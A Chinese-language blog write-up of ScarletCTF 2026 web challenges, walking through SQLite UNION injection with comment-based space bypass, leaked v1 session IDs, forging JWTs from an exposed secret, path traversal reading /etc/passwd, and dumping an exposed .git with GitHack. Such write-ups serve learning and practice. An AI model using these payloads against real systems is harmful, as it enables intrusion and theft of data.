1653 字
8 分钟
ScarletCTF 2026 web wp
2026-01-18

Campus One(复现)#

进入网站,大致浏览了一下,没有发现特殊接口或数据,且网站使用 session 进行身份验证,因此,我们的目标是获取 admin 的 session_id
没什么想法了,先尝试获取一下全局对象 window 的值,发现有接口泄露 1768585459220

尝试访问接口,发现拒绝返回 1768585557857

但是这个 v2 很让人在意。我们尝试访问一下 v1 版本 1768585653566

成功获得了 admin 的 session_id。然后以 admin 身份登入,访问 admin 面板(访问 /admin 接口)
来到 System Setting 页面,发现了出题人的提示 1768586120888

翻译一下大概是

安全配置存储
敏感配置密钥已迁移至加密数据库表中,以增强安全性。
存储位置
campus.db → secrets 表
注意:flag 现已安全存储在数据库中。请使用订单搜索功能查询系统数据。

这个提示应该是想让我们打 SQL 注入。前往 Orders 页面,尝试进行 SQL 注入。简单测试后,发现都不行……
hyw?检查了一下请求头后发现,网站又给我的 session_id 改回了 guest……
再次改为 admin 的 session_id 后,经过简单测试,发现网站过滤了空格,可以使用多行注释符 /**/ 进行绕过,同时网站有回显,因此尝试联合注入
先尝试注入

1'UNION/**/SELECT/**/1,2,3,4,5--+

发现有 5 个回显位。再次尝试从 information_schema.columns 表中查询列信息,网站返回表不存在,因此判断不是 MySQL,大胆猜测一下是 SQLite,传入

1'/**/UNION/**/SELECT/**/name,sql,1,2,3/**/FROM/**/sqlite_master--+

发现了 secrets 表的列信息

{
"order_id": "secrets",
"customer_email": "CREATE TABLE secrets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
key TEXT NOT NULL,
value TEXT NOT NULL
)",
"item": 1,
"status": 2,
"amount": 3
}

于是注入

1'UNION/**/SELECT/**/id,key,value,4,5/**/FROM/**/secrets--+

成功获得 flag

Commentary(复现)#

很遗憾,这题没有给环境,因此无法复现了

官方 wp 中给出的解法是: 比赛平台使用的是反向代理,因此题目说并非仅仅访问 ctf.rusec.club 的含义是用 IP 地址访问网站由此获得 nginx 的页面,在这个页面的注释中可以看到 flag

MissInput(先鸽)#

web + binary 的题,对于现在的我来说有点难了……

MoleInTheWall(复现)#

右上角有一个 Staff Partol,一看就是解题的关键,打开后要求输入一个 Token。没啥想法,抓个包看看 1768720907799

请求头里面有一个提示:

legacy config mounted from /debug
从 /debug 挂载的旧版配置

行,那尝试一下访问 /debug/config 接口,返回 404。有点问题,再看看有没有其他提示。没找到,看一下 wp……
行,原来是要访问 /debug/config/security.json 文件,这个真猜不到……

{
"audience": null,
"issuer": null,
"jwt": {
"algorithm": "HS256",
"required_claims": {
"department": "security",
"role": "nightguard",
"shift": "night"
}
},
"notes": "JWT secret was scooped at runtime - Mike Schmidt"
}

又有提示,翻译一下是 JWT 密钥在运行时被泄露了 —— Mike Schmidt,可能提示我们和 .env 有关,那就访问一下试试。访问 /debug/config/.env 文件,返回

{
"JWT_SECRET": "g0ld3n_fr3ddy_w1ll_a1ways_b3_w@tch1ng_y0u"
}

拿到了密钥,现在就去生成一下 token 1768721933707

在网站中传入 token,下载得到了一个 myscripts.zip 文件,解压后得到了几个文件,其中比较重要的有

"Display.InputDialog
Title: $'''Afton Robotics - Maintenance Mode'''
Message: $'''Enter Technician Clearance Code:'''
InputType: Display.InputType.Password
DefaultValue: $''''
IsTopMost: True
UserInput=> AuthCode
Display.ShowMessage
Message: $'''Initializing animatronic subsystem...
Firmware check in progress.'''
Icon: Display.Icon.Information
Buttons: Display.Buttons.OK
IsTopMost: True
System.RunDosCommand
Command: $'''start https://youtu.be/Blv9qVYlioY?si=wvpDtlWkkbvdjbBm'''
File.ReadTextFromFile
File: $'''%CD%\\logs\\session.log'''
Encoding: File.Encoding.UTF8
Contents=> EncryptedText
SET FinalVar TO ''
FOR Index FROM 0 TO Length(EncryptedText) - 1 STEP 1
Text: EncryptedText
StartIndex: Index
Length: 1
Subtext=> Char
ConvertTextToNumber
Text: Char
Number=> Ascii
SET DecodedAscii TO Ascii - 1
GetCharacterFromAsciiCode
AsciiCode: DecodedAscii
Character=> DecodedChar
SET FinalVar TO FinalVar + DecodedChar
END
IF AuthCode = FinalVar THEN
XML.ReadFromFile
File: $'''%CD%\\config\\settings.xml'''
XmlDocument=> XmlConfig
XML.GetElementValue
XmlDocument: XmlConfig
XPath: $'''//root/network/path'''
Value=> ApiPath
SET Body TO $'''{ \"input\": \"%FinalVar%\" }'''
Web.InvokeWebServicePost
Url: $'''http://girlypies.rusec.ctf%ApiPath%'''
RequestBody: Body
ELSE
Display.ShowMessage
Message: $'''CRITICAL ERROR: Springlocks Engaged.'''
Icon: Display.Icon.Error
Buttons: Display.Buttons.OK
END
System.RunDosCommand
Command: $'''start sounds\\startup_jingle.wav'''
Display.ShowMessage
Message: $'''Animatronic ANIM-04 is online.
Stage-ready and awaiting guests.'''
Icon: Display.Icon.Warning
Buttons: Display.Buttons.OK
IsTopMost: True"

这里面有一段伪代码逻辑,向 config/settings.xml 文件中 Xpath 对应的内容的接口传入一段内容,内容由 logs/session.log 中的内容依次左移一个 ASCII 码得到,并且要以 json 格式传入 {"input": "得到的内容"}
先写一个 python 脚本得到内容

s = "u$bu_qvsqm4_hvz"
result = ""
for i in s:
result += chr(ord(i)-1)
print(result)

/api/run-flow 接口传入内容 1768725525389

hyw?又去看了 wp,发现下划线不执行左移一位的操作……无语了,完全看不出来要这样操作。算了,再改一下 python 脚本

s = "u$bu_qvsqm4_hvz"
result = ""
for i in s:
if i == '_':
result += i
continue
result += chr(ord(i)-1)
print(result)

再次向 /api/run-flow 传入 {"input":"t#at_purpl3_guy"},成功获得 flag

SweIntern(复现)#

一个简单的 JWT 的生成器,先看看 API Docs 1768726646369

发现了文件读取,那就尝试一下有没有任意文件读取。传入 ../../../../etc/passwd,成功获取了一个文件。再传入 /etc/passwd,也能成功获得文件,说明存在任意文件读取,而且目录的拼接也有漏洞,可以从根目录直接读
先大胆尝试读 /flag,回显

File not found or access denied.

emmm……再去找找有没有其他线索。发现 System Information 接口,里面有很多信息,其中比较重要的是

Deployment: Automated via Git-Hooks
# System Build Manifest
BUILD_ID: R1KUVKH3
LAST_STABLE_COMMIT: u3c83hcm... (Added operational status!)
ENVIRONMENT: Production

那就有可能存在 git 泄露,尝试用刚刚任意读文件的接口读取一下 .git 库。传入 ../.git/HEAD,没读到……又随便读了一点文件,读到了 app.py

app.py
from flask import Flask, request, render_template, send_file
import jwt
import datetime
import os
# commment for testing
app = Flask(__name__)
app.config['SECRET_KEY'] = 'f0und_my_k3y_1_gu3$$'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/generate', methods=['POST'])
def generate():
username = request.form.get('username', 'guest')
payload = {
'user': username,
'iat': datetime.datetime.utcnow(),
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30),
'role': 'standard_user'
}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm="HS256")
return render_template('index.html', token=token)
@app.route('/view')
def view():
page = request.args.get('page')
if not page:
return "Missing 'page' parameter", 400
base_dir = os.path.dirname(os.path.abspath(__file__))
target_path = os.path.abspath(os.path.join(base_dir, 'static', page))
try:
file_path = os.path.join('static', page)
return send_file(file_path)
except Exception:
return "File not found or access denied.", 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

和我们想象中的也差不多……没线索了,看 wp。wp 里面说读 ../.git/config 可以读到,但是我读不到,hyw?进 Docker 里面看了看环境,有问题,它把 .git 变成了 dot_git……
重新命名一下,再去读一下 ../.git/config,成功获得一个文件
接下来就用 GitHack 把整个库拉下来

Terminal window
python2 GitHack.py http://127.0.0.1:4567/view?page=../.git/

然后 git log 1768730564963

发现 flag,直接 git show 1768731465857

成功获得 flag

后续去问了当时做了这一题的学长,学长说这一题远程和 Docker 的环境很不一样,远程的 .git 中有悬空对象,只使用 GitHack 是没办法下完整的;而如果只使用 GitDumper,也下载不到完整的 git 结构,因此用不了 git 命令。最简单的解决方法是结合一下这两个工具,下载到完整的 .git 库,从而获得 flag

ScarletCTF 2026 web wp
https://fuwari.vercel.app/posts/scarletctf2026/
作者
LightFeather
发布于
2026-01-18
许可协议
CC BY-NC-SA 4.0